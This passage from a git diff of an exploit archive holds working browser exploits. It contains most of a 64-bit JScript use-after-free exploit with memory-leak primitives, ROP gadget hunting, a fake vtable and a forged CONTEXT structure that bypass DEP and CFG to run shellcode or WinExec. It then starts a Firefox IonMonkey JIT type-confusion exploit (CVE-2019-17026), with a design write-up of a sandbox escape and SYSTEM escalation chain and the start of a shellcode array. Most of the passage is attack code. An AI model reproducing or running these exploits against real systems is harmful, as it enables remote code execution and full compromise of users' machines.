0x" + High.toString(16)); + } + + if (Low < 0) { + Low += 4294967296; + } + + return High * 4294967296 + Low; +} + +function Int52ToDouble(Value) { + var Low = Value | 0; + + if (Low < 0) { + Low += 4294967296; + } + + var High = Value - Low; + + High /= 4294967296; + + if ((High < 0) || (High >= 1048576)) { + DebugLog("Fatal error - not an int52: 0x" + Value.toString(16)); + Loew = 0; + High = 0; + } + + return { low: Low, high: High }; +} + +function MakeQword(High, Low) { + return { low: Low, high: High }; +} + +//////// +//////// +// Dynamic ROP chain creation code +//////// + +function HarvestGadget64(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) { + var MaxHighAddress = MakeQword(HintExportAddress.high, (HintExportAddress.low + MagicOffset + MaxDelta)); + var MinLowAddress = MakeQword(HintExportAddress.high, ((HintExportAddress.low + MagicOffset) - MaxDelta)); + var LeakAddress = MakeQword(HintExportAddress.high, HintExportAddress.low + MagicOffset); + var LeakFunc = LeakDword64; // Leaking by DWORD causes some quirks on 64-bit. Bitwise NOT solves issue. + var InitialAddress = LeakAddress; + var IndexDelta; + + if(MinLowAddress.low < HintExportAddress.low) { + MinLowAddress.low = HintExportAddress.low; // Don't bother scanning below the hint export + } + + DebugLog("Hunting for gadget 0x" + Data.toString(16) + " between 0x" + MinLowAddress.high.toString(16) + MinLowAddress.low.toString(16) + " and 0x" + MaxHighAddress.high.toString(16) + MaxHighAddress.low.toString(16) + " starting from 0x" + LeakAddress.high.toString(16) + LeakAddress.low.toString(16) + " based on hint export at 0x" + HintExportAddress.high.toString(16) + HintExportAddress.low.toString(16)); + + if(DataMask == 0x0000FFFF) { + LeakFunc = LeakWord64; + } + + var LeakedData = LeakFunc(LeakAddress); + + if((~LeakedData & DataMask) == ~Data) { + DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16)); + } + else { + var HighAddress = MakeQword(LeakAddress.high, LeakAddress.low + 1); + var LowAddress = MakeQword(LeakAddress.high, LeakAddress.low - 1); + + LeakAddress = MakeQword(0, 0); + + while(LowAddress.low >= MinLowAddress.low || HighAddress.low < MaxHighAddress.low) { + if(LowAddress.low >= MinLowAddress.low) { + LeakedData = LeakFunc(LowAddress); + + if((~LeakedData & DataMask) == ~Data) { + DebugLog("Found gadget from scan below magic at 0x" + LowAddress.high.toString(16) + LowAddress.low.toString(16)); + LeakAddress = LowAddress; + break; + } + + LowAddress.low -= 1; + } + + if(HighAddress.low < MaxHighAddress.low) { + LeakedData = LeakFunc(HighAddress); + + if((~LeakedData & DataMask) == ~Data) { + LeakAddress = HighAddress; + IndexDelta = (LeakAddress.low - InitialAddress.low); + DebugLog("Found gadget from scan above magic at 0x" + HighAddress.high.toString(16) + HighAddress.low.toString(16) + " (index " + IndexDelta.toString(10) + ")"); + break; + } + + HighAddress.low += 1; + } + } + } + + return LeakAddress; +} + +//////// +//////// +// Primary high level exploit logic +//////// + +function MakeContextDEPBypass64(NewRSP, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeSize, WritableAddress) { + return "\u0000\u0000\u0000\u0000" + // P3Home + "\u0000\u0000\u0000\u0000" + // P4Home + "\u0000\u0000\u0000\u0000" + // P5Home + "\u0000\u0000\u0000\u0000" + // P6Home + "\u0003\u0010" + // ContextFlags + "\u0000\u0000" + // MxCsr + "\u0033" + // SegCs + "\u0000" + // SegDs + "\u0000" + // SegEs + "\u0000" + // SegFs + "\u0000" + // SegGs + "\u002b" + // SegSs + "\u0246\u0000" + // EFlags + "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too! + "\u0000\u0000\u0000\u0000" + // Dr1 + "\u0000\u0000\u0000\u0000" + // Dr2 + "\u0000\u0000\u0000\u0000" + // Dr3 + "\u0000\u0000\u0000\u0000" + // Dr6 + "\u0000\u0000\u0000\u0000" + // Dr7 + "\u0000\u0000\u0000\u0000" + // Rax + QwordToUnicode(ShellcodeAddress) + // Rcx + QwordToUnicode(ShellcodeSize) + // Rdx + "\u0000\u0000\u0000\u0000" + // Rbx + QwordToUnicode(NewRSP) + // Rsp + "\u0000\u0000\u0000\u0000" + // Rbp + "\u0000\u0000\u0000\u0000" + // Rsi + "\u0000\u0000\u0000\u0000" + // Rdi + "\u0040\u0000\u0000\u0000" + // R8 + QwordToUnicode(WritableAddress) + // R9 + "\u0000\u0000\u0000\u0000" + // R10 + QwordToUnicode(ArtificialStackAddress) + // R11 + "\u0000\u0000\u0000\u0000" + // R12 + "\u0000\u0000\u0000\u0000" + // R13 + "\u0000\u0000\u0000\u0000" + // R14 + "\u0000\u0000\u0000\u0000" + // R15 + QwordToUnicode(StackPivotAddress); // RIP +} + +function MakeContextWinExec64(CommandLineAddress, StackPtr, WinExecAddress) { + return "\u0000\u0000\u0000\u0000" + // P3Home + "\u0000\u0000\u0000\u0000" + // P4Home + "\u0000\u0000\u0000\u0000" + // P5Home + "\u0000\u0000\u0000\u0000" + // P6Home + "\u0003\u0010" + // ContextFlags + "\u0000\u0000" + // MxCsr + "\u0033" + // SegCs + "\u0000" + // SegDs + "\u0000" + // SegEs + "\u0000" + // SegFs + "\u0000" + // SegGs + "\u002b" + // SegSs + "\u0246\u0000" + // EFlags + "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too! + "\u0000\u0000\u0000\u0000" + // Dr1 + "\u0000\u0000\u0000\u0000" + // Dr2 + "\u0000\u0000\u0000\u0000" + // Dr3 + "\u0000\u0000\u0000\u0000" + // Dr6 + "\u0000\u0000\u0000\u0000" + // Dr7 + "\u0000\u0000\u0000\u0000" + // Rax + QwordToUnicode(CommandLineAddress) + // Rcx - Command pointer + "\u0005\u0000\u0000\u0000" + // Rdx - SW_SHOW + "\u0000\u0000\u0000\u0000" + // Rbx + QwordToUnicode(StackPtr) + // Rsp + "\u0000\u0000\u0000\u0000" + // Rbp + "\u0000\u0000\u0000\u0000" + // Rsi + "\u0000\u0000\u0000\u0000" + // Rdi + "\u0000\u0000\u0000\u0000" + // R8 + "\u0000\u0000\u0000\u0000" + // R9 + "\u0000\u0000\u0000\u0000" + // R10 + "\u0000\u0000\u0000\u0000" + // R11 + "\u0000\u0000\u0000\u0000" + // R12 + "\u0000\u0000\u0000\u0000" + // R13 + "\u0000\u0000\u0000\u0000" + // R14 + "\u0000\u0000\u0000\u0000" + // R15 + QwordToUnicode(WinExecAddress); // RIP - KERNEL32.DLL!WinExec +} + +function CreateFakeVtable(NtContinueAddress) { + var FakeVtable = ""; + var Padding = []; + + for (var i = 0; i < (0x138 / 4); i++) { + Padding[i] = 0x11111111; + } + + FakeVtable += DwordArrayToBytes(Padding); + FakeVtable += DwordArrayToBytes([NtContinueAddress.low]); + FakeVtable += DwordArrayToBytes([NtContinueAddress.high]); + + for (var i = (0x140 / 4); i < (0x400 / 4); i++) { + Padding[i] = 0x22222222; + } + + FakeVtable += DwordArrayToBytes(Padding); + return FakeVtable; +} + +var LFHBlocks = new Array(); // If this is local rather than global the exploit does not work on Windows 8.1 IE11 64-bit + +function Exploit() { + if(PayloadType != "shellcode" && PayloadType != "winexec") { + DebugLog("Fatal error: invalid payload type"); + return 0; + } + + // Initialization: these anchor re-claim counts have varying affects on exploit stability. The higher the anchor count, the more stable, but the more time the exploit will take. + + if(WindowsVersion <= 7) { + ReClaimNameList = ReClaimIndexNameList; + NameListAnchorCount = 5000; // 20000 was needed prior to using GC at the start of the exploit. Performance went from around 4 seconds to 700ms when moved to 400. 5000 was the sweet spot on Win7 IE8 64-bit between speed and stability. + } + else { + ReClaimNameList = ReClaimBackupNameLists; + + if(PacFile) { + NameListAnchorCount = 10000; + } + else { + NameListAnchorCount = 400; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim + } + } + + CollectGarbage(); // This GC is essential for re-claims with randomized LFH on precise regions (such as VVAL re-claim), but it also allows for the GcBlock re-claim count to be drastically reduced (otherwise 20000+ was needed, as in the original exploit) + + // Trigger LFH for a size of 0x970 + + for(var i = 0; i < 50; i++) { // Only 50 are needed to activate LFH, but spraying additional allocations seems to help clog existing free memory regions on the heap and improve LFH re-claim reliability on Win8.1+ + Temp = new Object(); + Temp[Array(570).join('A')] = 1; // Property name size of 0x239 (569 chars with a default +1 added as a terminator) will produce the desired re-claim allocation size. + LFHBlocks.push(Temp); + } + + // Re-claim with type confusion NameLists + + NewUntrackedVarSet(); + DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10)); + + for(var i = 0; i < NameListAnchorCount; i++) { + NameListAnchors[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size + NameListAnchors[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit + NameListAnchors[i]["\u0005"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR + NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked + } + + AnchorObjectsBackup = NameListAnchors; // Backup name list anchor objects (this will allow re-claim to "stick"). + + // Leak final VVAL address from one of the NameLists + + var LeakedVvalAddress = 0; + var TypeConfusionAligned = false; + + for(var i = 0; i < UntrackedVarSet.length; i++) { + if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] % 1 != 0) { + LeakedVvalAddress = (UntrackedVarSet[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number + TypeConfusionAligned = true; + break; + } + } + + if(!TypeConfusionAligned) { + DebugLog("Leaked anchor object type confusion re-claim failed: no untracked var aligned with type confusion float/next VVAL pointer"); + return 0; + } + + LeakedVvalAddress = Int52ToDouble(LeakedVvalAddress); // In Windows 7, the leaked heap pointer could always be encoded in 32-bits. On Windows 8.1 IE11, it often consumes more. By leaking the final VVAL pointer with a double float we can get the bits we need. Experimenting with this I learned all JS numbers are 52 bits in size. In the event that the leaked pointer has its highest bits set it may be an invalid double. This hasn't be an issue on Windows 7 x64, x86, or Windows 8.1 x64 during my testing. + + if(!LeakedVvalAddress.high && !LeakedVvalAddress.low) { + DebugLog("Leaked anchor object type confusion re-claim failed: conversion of leaked VVAL address (type confusion successful) to double failed (invalid 52-bit integer)"); + return 0; + } + + // Re-claim with VAR-referencing-VAR NameLists + + var PrimaryVvalPropName = "AAAAAAAA"; // 16 bytes for size of GcBlock double linked list pointers + + for(var i = 0; i < 46; i++) { + PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low, LeakedVvalAddress.high, 0, 0); // Type 0x80 is a VAR reference + } + + while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A"; + + // Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction) + + NewUntrackedVarSet(); + + for(var i = 0; i < NameListAnchorCount; i++) { + NameListAnchors[i][PrimaryVvalPropName] = 1; + } + + // Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR + + var LeakedVvalVar; + + for(var i = 0; i < UntrackedVarSet.length; i++) { + if(typeof UntrackedVarSet[i] === "number") { + LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object") + LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value + break; + } + } + + DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16)); + + // Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known) + + ReClaimNameList(0x11, "A"); + + if(LeakedVvalVar + "" != 0x11) { + DebugLog("Failed to extract final VVAL index via re-claim"); + return 0; + } + + // Create the mutable variable which will be used throughout the remainder of the exploit and re=claim with VAR-referencing-VAR to it for dereference + + ReClaimNameList(0, CreateVar64(0x3, 0x22, 0, 0, 0)); + PrimaryVvalPropName = "AAAAAAAA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding. + + for(var i = 0; i < 46; i++) { + PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low + 0x40, LeakedVvalAddress.high, 0, 0); // +0x40 is the offset to property name field of 64-bit VVAL struct. Type 0x80 is a VAR reference + } + + while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to correct length + + // Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created) + + NewUntrackedVarSet(); + + for(var i = 0; i < NameListAnchorCount; i++) { + NameListAnchors[i][PrimaryVvalPropName] = 1; + } + + for(var i = 0; i < UntrackedVarSet.length; i++) { + if(typeof UntrackedVarSet[i] === "number") { + if(UntrackedVarSet[i] + "" == 0x22) { + MutableVar = UntrackedVarSet[i]; + break; + } + } + } + + // Verify the mutable var can be changed via simple re-claim + + ReClaimNameList(0, CreateVar64(0x3, 0x33, 0, 0, 0)); + + if(MutableVar + "" != 0x33) { + DebugLog("Failed to verify mutable variable modification via re-claim"); + return 0; + } + + // Test arbitrary read primitive + + var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40); + + if(LeakByte64(MutableVarAddress) != 0x8) { // Change mutable var to a BSTR pointing at itself. + DebugLog("Memory leak test failed"); + return 0; + } + + // Derive jscript.dll base from leaked Object vtable + + var DissectedObj = new Object(); + var ObjectAddress = LeakObjectAddress64(LeakedVvalAddress, DissectedObj); + var VtableAddress = LeakQword64(ObjectAddress); + var JScriptBase = DiveModuleBase64(VtableAddress); + + if(!JScriptBase.low && !JScriptBase.high) { + DebugLog("Failed to leak JScript.dll base address"); + return 0; + } + else { + DebugLog("Leaked JScript base address: 0x" + JScriptBase.high.toString(16) + JScriptBase.low.toString(16)); + } + + // Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base + + var Kernel32Base = BaseFromImports64(JScriptBase, [0x4e52454b, 0x32334c45]); + + if(!Kernel32Base.low && !Kernel32Base.high) { + DebugLog("Kernel32.dll base resolution via Jscript.dll imports failed."); + return 0; + } + else { + DebugLog("Leaked KERNEL32.DLL base address: 0x" + Kernel32Base.high.toString(16) + Kernel32Base.low.toString(16)); + } + + var VirtualProtectAddress; + var WinExecAddress; + + if(PayloadType == "shellcode") { + // Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!VirtualProtect + + VirtualProtectAddress = ResolveExport64(Kernel32Base, [ 0x74726956, 0x506c6175, 0x65746f72, 0x00007463 ]); // VirtualProtect + + if(!VirtualProtectAddress.low && !VirtualProtectAddress.high) { + DebugLog("Failed to resolve address of KERNEL32.DLL!VirtualProtect"); + return 0; + } + + DebugLog("Successfully resolved address of VirtualProtect to: 0x" + VirtualProtectAddress.high.toString(16) + VirtualProtectAddress.low.toString(16)); + } + else if(PayloadType == "winexec") { + // Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!WinExec + + WinExecAddress = ResolveExport64(Kernel32Base, [0x456e6957]); + + if(!WinExecAddress.low && !WinExecAddress.high) { + DebugLog("Failed to resolve address of KERNEL32.DLL!WinExec"); + return 0; + } + } + + var MsvcrtBase = BaseFromImports64(JScriptBase, [0x6376736d, 0x642e7472]); + + if(!MsvcrtBase.low && !MsvcrtBase.high) { + DebugLog("Msvcrt.dll base resolution via Jscript.dll imports failed."); + return 0; + } + + var NtdllBase = BaseFromImports64(MsvcrtBase, [0x6c64746e, 0x6c642e6c]); + + if(!NtdllBase.low && !NtdllBase.high) { + DebugLog("Ntdll.dll base resolution via Msvcrt.dll imports failed."); + return 0; + } + + var NtContinueAddress = ResolveExport64(NtdllBase, [0x6f43744e, 0x6e69746e]); + + if(!NtContinueAddress.low && !NtContinueAddress.high) { + DebugLog("Failed to resolve address of NTDLL.DLL!NtContinue"); + return 0; + } + + // Leak an authentic stack pointer to avoid triggering the stack pivot protection built into CFG on Windows 8.1+ within the kernel layer of NTDLL.DLL!NtContinue + + var CSessionAddress = LeakQword64(MakeQword(ObjectAddress.high, ObjectAddress.low + 24)); // Get CSession from offset 24 + var LeakedStackPtr = LeakQword64(MakeQword(CSessionAddress.high, CSessionAddress.low + 80)); + LeakedStackPtr.low += 0x8; // Stack alignment needs to be at a 0x10 boundary prior to CALL + + // Construct a fake vtable and fake object for use within mutable var property name + + var FakeVtable = CreateFakeVtable(NtContinueAddress); + FakeVtable = FakeVtable.substr(0, FakeVtable.length); + var FakeVtableAddress = LeakObjectAddress64(LeakedVvalAddress, FakeVtable); + var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40); + var FakeObjAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 96); + var Context; + + if(PayloadType == "shellcode") { + // Allocate memory for shellcode, API output and an artificial stack + + var ShellcodeStr = TableToUnicode(Shellcode); + var ShellcodeLen = MakeQword(0, (ShellcodeStr.length * 2)); + ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here) + var ShellcodeAddress = LeakObjectAddress64(LeakedVvalAddress, ShellcodeStr); + + /* + Artificial stack data for use beyond the NTDLL.DLL!NtContinue pivot. + + + NTDLL.DLL!NtContinue --------------------> RIP = | MOV RSP, R11; RET + RCX = Shellcode address + RDX = Shellcode size + R8 = 0x40 + R9 = Leaked address of BSTR to hold out param + RSP = Real stack pointer + R11 = Artificial stack + |-----------------------------| ^ + | 2MB stack space (heap) | | + |-----------------------------| | + | Heap header/BSTR len align | | + |-----------------------------| | + | KERNEL32.DLL!VirtualProtect | <----------| + |-----------------------------| + | Shellcode return address ] + |-----------------------------| + */ + + var Padding = Array(0x100000 + 1).join('\u0101'); // The +1 here always gives it a clean len (used to be -1) + var ArtificialStackStr = Padding; // A couple KB were never enough, even for VirtualProtect and WinExec. The WPAD RPC client shellcode for sandbox escape is exceptionally consumptive with stack memory. + ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.low]); + ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.high]); + ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.low]); + ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.high]); + ArtificialStackStr = ArtificialStackStr.substr(0, ArtificialStackStr.length); + var ArtificialStackAddress = LeakObjectAddress64(LeakedVvalAddress, ArtificialStackStr); + ArtificialStackAddress.low += ((ArtificialStackStr.length * 2) - 0x10); // Point RSP at the return address to the shellcode. The address consistently ends up an 0x8 multiple on Windows 7 IE8 64-bit. Stack overfloow exceptions were becoming an issue when I did not include this tail padding. + + var WritableStr = ""; + WritableStr += DwordArrayToBytes([0]); + WritableStr = WritableStr.substr(0, WritableStr.length); + var WritableAddress = LeakObjectAddress64(LeakedVvalAddress, WritableStr); + + // Dynamically resolve ROP gadget for stack pivot via export hint + + var StackPivotAddress; + var HintExportAddress = ResolveExport64(MsvcrtBase, [ 0x686e6174, 0x00000066 ]); // tanhf + var MagicOffset; + + if(!HintExportAddress.low && !HintExportAddress.high) { + DebugLog("Failed to resolve address of MSVCRT.DLL!tanhf"); + return 0; + } + + if(WindowsVersion <= 7) { + MagicOffset = 0x2da + 1; // tanhf:0x00076450 (+0x2da) <- 0x0007672a -> (+0x3e5e) ??_7bad_cast@@6B@:0x0007a588 + } + else { + MagicOffset = 0x11f + 19; // tanhf:0x00019a90 (+0x11f) <- 0x00019baf -> (+0x31) acosf:0x00019be0 + } + + // 49:8BE3 | mov rsp,r11 + // C3 | ret + + StackPivotAddress = HarvestGadget64(HintExportAddress, 0x500, 0xC3E38B49, 0x00000000FFFFFFFF, MagicOffset); + + if(!StackPivotAddress.low && !StackPivotAddress.high) { + DebugLog("Failed to resolve address of stack pivot gadget"); + return 0; + } + + DebugLog("Gadget address of stack pivot: 0x" + StackPivotAddress.high.toString(16) + StackPivotAddress.low.toString(16)); + Context = MakeContextDEPBypass64(LeakedStackPtr, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeLen, WritableAddress); + DebugLog("Artificial stack pointer address at 0x" + ArtificialStackAddress.high.toString(16) + " " + ArtificialStackAddress.low.toString(16) +" shellcode at 0x" + ShellcodeAddress.high.toString(16) + ShellcodeAddress.low.toString(16) + " CONTEXT pointer: 0x" + FakeObjAddress.high.toString(16) + FakeObjAddress.low.toString(16)); + } + else if(PayloadType == "winexec") { + CommandStr = CommandStr.substr(0, CommandStr.length); + var CommandStrAddress = LeakObjectAddress64(LeakedVvalAddress, CommandStr); + Context = MakeContextWinExec64(CommandStrAddress, LeakedStackPtr, WinExecAddress); + } + + var RipHijackPropName = CreateVar64(0x81, LeakedVvalAddress.low + 96, LeakedVvalAddress.high, 0, 0) + CreateVar64(0, FakeVtableAddress.low, FakeVtableAddress.high, 0, 0) + Context; // 96 is the 64-bit prop name offset plus size of mutable VAR and next VAR Type field. + + /* + + jscript.dll!Object.Typeof method + + mov rdi,qword ptr ds:[rdi+8] + mov rax,qword ptr ds:[rdi] + mov rbx,qword ptr ds:[rax+138] + mov rcx,rbx + call qword ptr ds:[7FFA554EC628] + mov rcx,rdi + call rbx + + Initially RDI holds the pointer to the mutable VAR. Its object pointer is being loaded from +8, and then + RDI holds the pointer to the fake Object, which is dereferenced into RAX to obtain the vtable pointer. + Offset 0x138 holds the typeof method pointer within the vtable, which is subsequently passed to CFG + for validation. + + Since the fake vtable holds the address of NTDLL.DLL!NtContine in place of its typeof method (and this + address is whitelisted by CFG) the security check will succeed and we will end up with an indirect branch + instruction (CALL RBX) whch will execute the RIP hijack. + + Most notably, since a class method will always be passed its "this" pointer as its first parameter (which + in x64 will be held in RCX) we not only end up with a RIP hijack but also control of the RCX register. + Control of this register allows us to control the first parameter to NTDLL.DLL!NtContinue (in this case + a CONTEXT structure pointer) which conveniently will hold a pointer to our fake object, the contents of + which we control. Thus the fake object itself will be interpreted as CONTEXT struct we may control. + + Malicious VVAL property name + ------------------ + | VAR.Type | <-- Mutable var + |----------------| | + | VAR.ObjPtr | <------ Referencing fake object appended to itself in the VVAL property name + |----------------| | + | VAR.Type | |-- Not a real VAR (its Type is skipped and never referenced), just a 0 field. + |----------------| | + | Fake vtable ptr| <---|-- Fake object begins here. RCX and RDI point here + |----------------| + | VAR.NextPtr | <-- Unreferenced, a side-effect of using a VAR struct to initialize the fake object. + |----------------| + | CONTEXT | <-- Notably the first 16 bytes (2 QWORDs) of this struct will be confused with the fake vtable ptr and VAR.NextPtr fields. These fields represent the P1Home and P2Home registers and its fine if they are initialized to 0. + |________________| + + */ + + ReClaimNameList(0, RipHijackPropName); + var TotalTime = (new Date().getTime() - ScriptTimeStart); + DebugLog("TIME ... total time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); + typeof MutableVar; +} + +function FindProxyForURL(url, host){ + return "DIRECT"; +} + +Exploit(); \ No newline at end of file diff --git a/exploits/windows_x86-64/local/49864.js b/exploits/windows_x86-64/local/49864.js new file mode 100644 index 000000000..1fc0782e5 --- /dev/null +++ b/exploits/windows_x86-64/local/49864.js @@ -0,0 +1,774 @@ +# Exploit Title: Firefox 72 IonMonkey - JIT Type Confusion +# Date: 2021-05-10 +# Exploit Author: deadlock (Forrest Orr) +# Vendor Homepage: https://www.mozilla.org/en-US/ +# Software Link: https://www.mozilla.org/en-US/firefox/new/ +# Versions: Firefox < 72 64-bit +# Tested on: Windows 7 x64, Windows 8.1 x64, Windows 10 x64 +# CVE: CVE-2019-17026 +# Bypasses: DEP, ASLR, CFG, sandboxing +# Credits: maxpl0it, 0vercl0k +# Full explain chain writeup: https://github.com/forrest-orr/DoubleStar + +/* +________ ___. .__ _________ __ +\______ \ ____ __ __\_ |__ | | ____ / _____/_/ |_ _____ _______ + | | \ / _ \ | | \| __ \ | | _/ __ \ \_____ \ \ __\\__ \ \_ __ \ + | ` \( <_> )| | /| \_\ \| |__\ ___/ / \ | | / __ \_| | \/ +/_______ / \____/ |____/ |___ /|____/ \___ > /_______ / |__| (____ /|__| + \/ \/ \/ \/ \/ +Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain + + ______________ + | Remote PAC | + |____________| + ^ + | HTTPS +_______________ RPC/ALPC _______________ RPC/ALPC _______________ +| firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe | +|_____________| |_____________| <----------- |_____________| + | RPC/Pipe + | + _______________ | + | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM + |_____________| + +~ + +Component + +Firefox 64-bit IonMonkey JIT/Type Confusion RCE. Represents the initial attack +vector when a user visits an infected web page with a vulnerable version of +Firefox. This component contains a stage one (egg hunter) and stage two (WPAD +sandbox escape) shellcode, the latter of which is only effective on Windows 8.1 +due to hardcoded RPC IDL interface details for WPAD. + + +_______________ JIT spray ______________ DEP bypass _______________________ +| firefox.exe | -----------> | Egg hunter | ------------> | WPAD sandbox escape | +|_____________| | shellcode | | shellcode (heap) | + |____________| |_____________________| + +~ + +Overview + +This is a Windows variation of CVE-2019-17026, an exploit targetting a type +confusion bug in the IonMonkey engine of Firefox up to FF 72. Due to specific +issues with heap grooming, this particular variant of CVE-2019-17026 only works +on versions of Firefox up to FF 69 even though the bug was not fixed until FF +72 and is still technically exploitable on FF 70 and 71. + +CVE-2019-17026 represents the initial RCE vector in the Double Star exploit +chain. Unlike my re-creation of CVE-2020-0674, which is limited to efficacy +in IE/WPAD instances running within Windows 7 and 8.1 (with Windows 10 CFG and +WPAD sandboxing being beyond the scope of this project in complexity to bypass) +this particular exploit is effective on any version of Windows, including 10 +provided that a vulnerable version of Firefox is installed. The reason for this +is that presence of (and exploit usage of) a JIT engine in this exploit makes +dealing with both DEP and CFG substantially easier. + +~ + +Design + +This exploit contains two shellcodes: an egg hunter/DEP bypass shellcode (which +is JIT sprayed) and a primary (stage two) shellcode stored as a static Uint8Array. +The stage one (egg hunter) shellcode is responsible for scanning the entire +memory space of the current firefox.exe process and finding the stage two +shellcode on the heap. This is achieved by prefixing the stage two shellcode +with a special 64-bit egg value which this egg hunter shellcode scans for. Once +it has found the stage two shellcode, it uses KERNEL32.DLL!VirtualProtect to +change its permissions to +RWX, and then directly executes it via a CALL +instruction. + +The type confusion bug allows for an array boundscheck to be eliminated, thus +allowing for an OOB R/W via a glitched array. The nursery heap (where the array +is stored) is groomed so that 3 arrays are lined up in memory: + +[Array 1][Array 2][Array 3] + +The first array is used with the JIT bug to make an OOB write and corrupt the +metadata of the second array. Specifically, it corrupts its length to allow for +OOB R/W at will (without the JIT bug) which is subsequently used throughout +the remainer of the exploit to corrupt the Native Object structure of the third +array to build arbitrary R/W and AddressOf primitives. + +A JIT spray is then used to spray an egg hunter shellcode (encoded as double +floats) into +RX memory, encapsulated in a do-nothing function. The JIT code +pointer of this function is leaked and subsequently used with an egg hunter +in the JS itself (using arbitrary read) to find the egg which marks the +start of the egg hunter shellcode in +RX memory. In this sense, the exploit +contains 2 egg hunters: a JS egg hunter which searches for a JIT sprayed egg +hunter which in turn hunts for the full (stage two) WPAD sandbox escape +shellcode. Once the JIT sprayed (stage one) egg hunter shellcode finds the stage +two shellcode, it sets its memory region to +RWX and directly executes it. + +~ + +Sandboxing + +The Firefox sandbox prevents access to the filesystem (besides a special sandbox +temp directory) and registry but additionally (unlike IE11 on Windows 8.1) locks +down access to the desktop window session (which prevents even a MessageBoxA +from popping) and sets a child process creation quota of zero (preventing the +creation of child processes). By adjusting the sandbox content level in the FF +"about:config" settings some of these features can be disabled for testing +purposes. For example, setting the content level down from "5" (the default) to +"2" will allow MessageBoxA to pop as well as child process creation, however even +when the content level is set down to "0" there are certain protections which will +persist (such as inability to access the file system). + +One vector however which is not guarded by the sandbox is access to ALPC port +objects, which can be used to initiate connections to LocalServer32 COM servers +running in external (and potentially non-sandboxed or elevated) processes. This +detail is exploited by this chain by utilizing a stage two shellcode which +initiates an RPC (ALPC) connection to the WPAD service and triggers it to +download and execute a PAC file from a remote URL containing CVE-2020-0674 into +its own process (svchost.exe running as LOCAL SERVICE). In this way, the sandbox +can be escaped via RPC/ALPC and simultaneously elevated from the current user +session (which may have limited/non-administrator privileges) into a sensitive +service process. + +~ + +Credits + +maxpl0it - for writing the initial analysis and PoC for CVE-2019-17026 with a + focus on the Linux OS. + +0vercl0k - for documenting IonMonkey internals in relation to aliasing and + the GVN. + +*/ + +//////// +//////// +// Global helpers/settings +//////// + +// Carefully read the overview comments of this exploit source. This is a simple MessageBoxA shellcode but due to sandboxing will not appear without the steps I outlined. To see the full Double Star exploit chain which can bypass the sandbox in full, read my research on it at: https://github.com/forrest-orr/DoubleStar +const Shellcode = new Uint8Array([ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0x48, 0xc7, 0xc1, 0x88, 0x4e, 0x0d, 0x00, 0xe8, 0x91, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc7, 0x48, 0xc7, 0xc2, 0x86, 0x57, 0x0d, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xde, 0x00, 0x00, 0x00, 0x48, 0xb9, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x00, 0x00, 0x51, 0x48, 0x89, 0xe1, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0x48, 0xc7, 0xc2, 0x1a, 0xb8, 0x06, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0xab, 0x00, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x48, 0xb9, 0x70, 0x77, 0x6e, 0x65, 0x64, 0x00, 0x00, 0x00, 0x51, 0x49, 0x89, 0xe0, 